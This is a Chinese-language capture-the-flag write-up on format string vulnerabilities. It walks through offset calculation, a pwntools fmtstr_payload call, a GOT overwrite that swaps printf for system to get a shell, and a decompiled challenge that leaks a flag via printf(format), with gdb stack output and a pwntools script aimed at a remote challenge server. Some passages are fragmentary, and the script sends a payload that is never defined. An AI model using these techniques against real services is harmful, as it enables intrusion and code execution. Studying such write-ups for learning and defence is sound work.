格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。
一般来说格式化字符串在利用时主要分为三个部分:
一般先以ret2libc作为辅助用于泄露system函数的真实地址,在将system函数的地址写入到连接printf函数(或类似的输出函数)got表中,从而以欺骗的方式在执行printf时实际执行的是system函数,获得bash读取栈和任意地址
假设向程序中输入多个格式字符
0x61616161处便是aaaa字符串开始的地方
0x61616161
是输出的第6个字符,所以使用%6$s
即可读出该地址,这便是手工计算偏移量的方法
直接使用pwntools的fmtstr_payload函数 如:
需要在0xffffdafc 该地址上写入数据0x5201314
fmtstr_payload(7,{0xffffdafc:0x5201314})
前提是需要先确定好字符串的偏移量,这上面为
7
/bin/sh
)即可完成system函数的执行获取shell。{
v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}
总体流程为:
先读取flag.txt文件的内容(flag内容限制在21个字符内),然后将内容赋值给v9
也就是说flag是已经加载到程序中的,只要控制程序读取到此段地址内的值,即可不用管程序的其他代码
使用gdb调试,得到用户输入的字符串偏移量是10(加上前6个寄存器)
0x00007fffffffe978│+0x0000: 0x0000000000400890 → <main+234> mov edi, 0x4009b8 ← $rsp
0x00007fffffffe980│+0x0008: 0x0000000031000001
0x00007fffffffe988│+0x0010: 0x0000000000602cb0 → 0x0000363534333231 ("123456"?)
0x00007fffffffe990│+0x0018: 0x0000000000602260 → 0x0000000000000000
0x00007fffffffe998│+0x0020: 0x00007fffffffe9a0 → "flag{sadfsdfsafdsafsda"
0x00007fffffffe9a0│+0x0028: "flag{sadfsdfsafdsafsda"
0x00007fffffffe9a8│+0x0030: "fsdfsafdsafsda"
0x00007fffffffe9b0│+0x0038: 0x0000616473666173 ("safsda"?)
直接在程序中输入payload得到flag
IDA分析程序
找到format string的关键代码后发现该段条件如果成立即可直接返回shell 即 利用格式化字符串漏洞将变量地址内的值改为
先查看变量key的地址 测试格式化字符串的距离
0x64636261
最后构造payload 是key的地址,而便是key要等于的值
from pwn import *
#io = process('./coverme')
io = remote("120.79.17.251",10011)
io.sendline(payload)
io.interactive()
print p32(0x0804A030)
#abcd%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p